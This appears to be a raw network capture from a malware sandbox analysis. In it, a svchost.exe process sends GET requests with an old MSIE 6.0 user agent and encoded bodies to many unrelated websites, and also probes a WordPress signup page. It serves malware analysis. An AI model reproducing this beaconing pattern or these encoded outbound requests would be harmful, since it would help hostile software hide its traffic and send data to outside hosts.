2023-03-10 06:56:20 UTC	1286	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lHyhJy9VamOY6NEeXnLVrla%2BPIXJFKHB%2FR7OdmQZLrsMikvKUKZIYRPhcVRUBZG8C77ndDbhC1B%2BFOAsHAPxHSr6hEB96r0ASihZxO5o6LDQc5nYiBNmEkBebMVy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a83d89029bf4-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:20 UTC	1287	IN	Data Raw: 31 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebc<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:20 UTC	1292	IN	Data Raw: 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c Data Ascii: th,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img cl
2023-03-10 06:56:20 UTC	1294	IN	Data Raw: 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 6b 69 78 6c 36 64 76 63 65 6d 7a 76 75 46 42 59 41 45 6e 42 4e 57 37 57 5f 35 2e 73 63 70 59 47 71 63 36 72 44 4d 52 57 71 41 38 2d 31 36 37 38 34 33 31 33 38 30 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 42 6e 49 6d 4d 4a 6f 4a 6d 36 70 78 2e 51 77 61 42 7a 65 32 46 6a 75 48 46 5f 76 7a 38 59 54 65 47 61 58 6b 70 76 64 47 55 46 6f 2d 31 36 37 38 34 33 31 33 38 30 2d 30 2d Data Ascii: n="/?__cf_chl_f_tk=kixl6dvcemzvuFBYAEnBNW7W_5.scpYGqc6rDMRWqA8-1678431380-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="BnImMJoJm6px.QwaBze2FjuHF_vz8YTeGaXkpvdGUFo-1678431380-0-
2023-03-10 06:56:20 UTC	1296	IN	Data Raw: 6a 2d 4a 43 6c 47 4c 70 42 78 5a 41 4f 55 78 52 56 4e 4b 61 63 47 6d 65 6c 57 45 31 73 72 5a 41 46 70 6e 55 49 73 52 57 34 50 6e 30 62 35 61 6f 45 70 76 6b 72 67 5a 45 4c 31 36 41 52 68 65 47 2d 78 33 34 4b 42 53 48 45 45 6c 77 57 77 44 4a 54 42 47 63 54 35 4a 7a 76 78 66 71 32 64 77 5a 6b 5f 74 6e 57 66 44 42 2d 70 78 4d 6a 4e 37 39 5f 72 35 63 64 4c 7a 77 52 4c 68 76 50 6c 6f 30 72 64 2d 6a 30 4f 6c 6d 2d 42 4b 2d 45 77 36 38 5f 77 70 55 69 4e 74 33 5f 36 6b 62 55 72 49 6f 37 64 49 54 76 56 71 68 35 65 46 57 46 50 49 4c 78 41 45 62 78 56 47 69 4a 64 70 44 37 5f 57 78 79 41 39 53 31 6b 54 41 33 42 30 55 46 79 47 4e 34 53 43 32 58 32 64 4f 39 49 70 66 57 57 5f 68 47 68 46 6c 47 78 76 64 46 63 7a 4f 77 45 45 6e 65 6f 45 67 75 67 73 6f 2d 63 6e 35 30 64 4e Data Ascii: j-JClGLpBxZAOUxRVNKacGmelWE1srZAFpnUIsRW4Pn0b5aoEpvkrgZEL16ARheG-x34KBSHEElwWwDJTBGcT5Jzvxfq2dwZk_tnWfDB-pxMjN79_r5cdLzwRLhvPlo0rd-j0Olm-BK-Ew68_wpUiNt3_6kbUrIo7dITvVqh5eFWFPILxAEbxVGiJdpD7_WxyA9S1kTA3B0UFyGN4SC2X2dO9IpfWW_hGhFlGxvdFczOwEEneoEgugso-cn50dN
2023-03-10 06:56:20 UTC	1297	IN	Data Raw: 63 52 61 79 3a 20 27 37 61 35 39 61 38 33 64 38 39 30 32 39 62 66 34 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 31 66 66 35 32 38 33 61 30 33 30 65 32 35 36 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 6b 69 78 6c 36 64 76 63 65 6d 7a 76 75 46 42 59 41 45 6e 42 4e 57 37 57 5f 35 2e 73 63 70 59 47 71 63 36 72 44 4d 52 57 71 41 38 2d 31 36 37 38 34 33 31 33 38 30 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 Data Ascii: cRay: '7a59a83d89029bf4', cHash: '1ff5283a030e256', cUPMDTk: "\/?__cf_chl_tk=kixl6dvcemzvuFBYAEnBNW7W_5.scpYGqc6rDMRWqA8-1678431380-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:20 UTC	1300	IN	Data Raw: 37 4a 45 56 4d 2b 51 30 76 58 31 32 4f 41 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 2b 69 38 79 38 47 78 63 4c 6c 72 64 75 35 71 6f 53 6b 64 74 52 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 Data Ascii: 7JEVM+Q0vX12OA==', i2: '+i8y8GxcLlrdu5qoSkdtRg==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7
2023-03-10 06:56:20 UTC	1304	IN	Data Raw: 4f 67 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 Data Ascii: OgUHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contenti
2023-03-10 06:56:20 UTC	1306	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	56996	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1311	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 5372
2023-03-10 06:56:20 UTC	1311	OUT	Data Raw: 70 59 43 48 36 61 32 31 75 4c 71 38 76 73 48 44 78 63 6a 4b 7a 4d 2f 52 30 39 57 52 32 6f 4b 4c 36 4e 57 2f 46 36 6a 2f 50 38 76 49 6d 4c 43 32 76 61 6c 5a 5a 74 57 43 6b 4a 30 71 75 48 4e 66 50 58 69 77 77 54 65 2f 77 62 6f 38 47 46 68 55 41 6d 43 51 33 4d 43 61 69 42 6a 78 65 7a 52 4c 5a 53 63 59 38 47 57 6d 7a 41 5a 32 4c 4b 75 45 51 30 75 4c 44 35 2f 71 76 4d 64 56 6a 77 37 54 62 34 37 70 4c 70 6e 6c 57 31 75 37 4d 74 78 42 69 53 62 34 4a 55 68 41 5a 59 72 6f 6d 6e 65 54 35 77 33 51 69 78 76 4b 43 4a 37 4e 79 50 32 73 5a 6b 47 33 70 6c 32 79 46 30 38 75 43 66 72 4c 4c 63 6c 7a 54 63 44 77 77 31 69 32 74 5a 59 4c 31 4e 43 4d 45 4c 41 61 71 4d 6f 6d 74 56 65 34 47 73 50 48 6b 63 43 50 4d 4b 62 4a 73 66 4f 34 35 76 44 33 64 38 67 51 4c 79 36 33 61 4a 61 Data Ascii: pYCH6a21uLq8vsHDxcjKzM/R09WR2oKL6NW/F6j/P8vImLC2valZZtWCkJ0quHNfPXiwwTe/wbo8GFhUAmCQ3MCaiBjxezRLZScY8GWmzAZ2LKuEQ0uLD5/qvMdVjw7Tb47pLpnlW1u7MtxBiSb4JUhAZYromneT5w3QixvKCJ7NyP2sZkG3pl2yF08uCfrLLclzTcDww1i2tZYL1NCMELAaqMomtVe4GsPHkcCPMKbJsfO45vD3d8gQLy63aJa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	56994	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1316	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 4428
2023-03-10 06:56:20 UTC	1316	OUT	Data Raw: 61 5a 49 73 4f 54 39 4a 54 56 42 54 56 31 70 64 59 47 4e 6d 61 6d 31 77 63 33 65 77 76 58 73 65 62 78 4a 4a 54 62 39 2b 58 34 72 72 4f 31 31 72 4b 77 4e 6b 6d 65 6c 74 45 39 57 7a 31 51 36 65 4d 55 35 41 69 57 79 64 48 46 7a 41 66 62 71 68 5a 32 61 57 36 45 78 73 56 43 6d 32 79 4b 6a 47 68 36 79 58 53 4b 42 6f 34 75 6f 4e 6b 7a 53 69 49 58 4b 6c 35 68 59 63 44 48 64 52 76 63 71 6f 61 78 45 6c 6b 64 69 73 4b 55 4d 4f 34 4b 66 31 72 48 5a 71 51 4e 54 51 2f 77 33 53 61 48 65 4e 72 59 52 46 56 47 38 63 55 54 64 6a 2b 6d 6c 79 6a 74 56 63 75 6c 42 37 45 42 57 64 56 6b 69 34 55 76 37 32 53 4b 4e 42 47 77 7a 2f 78 34 75 53 6e 2b 38 6e 4b 4d 50 6c 2b 74 74 52 45 53 77 53 54 34 54 72 45 4c 69 42 59 4d 71 4f 38 58 6f 46 48 6e 4f 51 6a 59 70 69 71 39 6c 4a 4e 6f 6e Data Ascii: aZIsOT9JTVBTV1pdYGNmam1wc3ewvXsebxJJTb9+X4rrO11rKwNkmeltE9Wz1Q6eMU5AiWydHFzAfbqhZ2aW6ExsVCm2yKjGh6yXSKBo4uoNkzSiIXKl5hYcDHdRvcqoaxElkdisKUMO4Kf1rHZqQNTQ/w3SaHeNrYRFVG8cUTdj+mlyjtVculB7EBWdVki4Uv72SKNBGwz/x4uSn+8nKMPl+ttRESwST4TrELiBYMqO8XoFHnOQjYpiq9lJNon

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	57044	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1321	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:20 UTC	1321	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:20 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:20 UTC	1321	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	57146	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1322	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:20 UTC	1322	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:20 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:20 UTC	1322	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	57241	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1322	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:20 UTC	1376	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:24 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:24 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XNJObqE%2F13U1eEQY2Gd0P90pP5YOUmOIV%2BV81cJNJQDJ2SUbEzu72KWO9iz3VasmkfVceJF4uaZDRL5jPs%2FodELkWkRKONpwLl3oo2ivxCcUKjd3VF4%2F9GHJRGgseFsh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a83fda262c18-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:20 UTC	1377	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:20 UTC	1377	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	57274	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1323	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:20 UTC	1323	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:20 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:20 UTC	1323	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	57271	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1323	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:20 UTC	1323	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:20 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:20 UTC	1324	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	57387	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1373	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:20 UTC	1373	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:20 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:20 UTC	1373	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	50527	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	148	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:15 UTC	428	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=99 Content-Length: 48939 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:14 GMT Connection: close
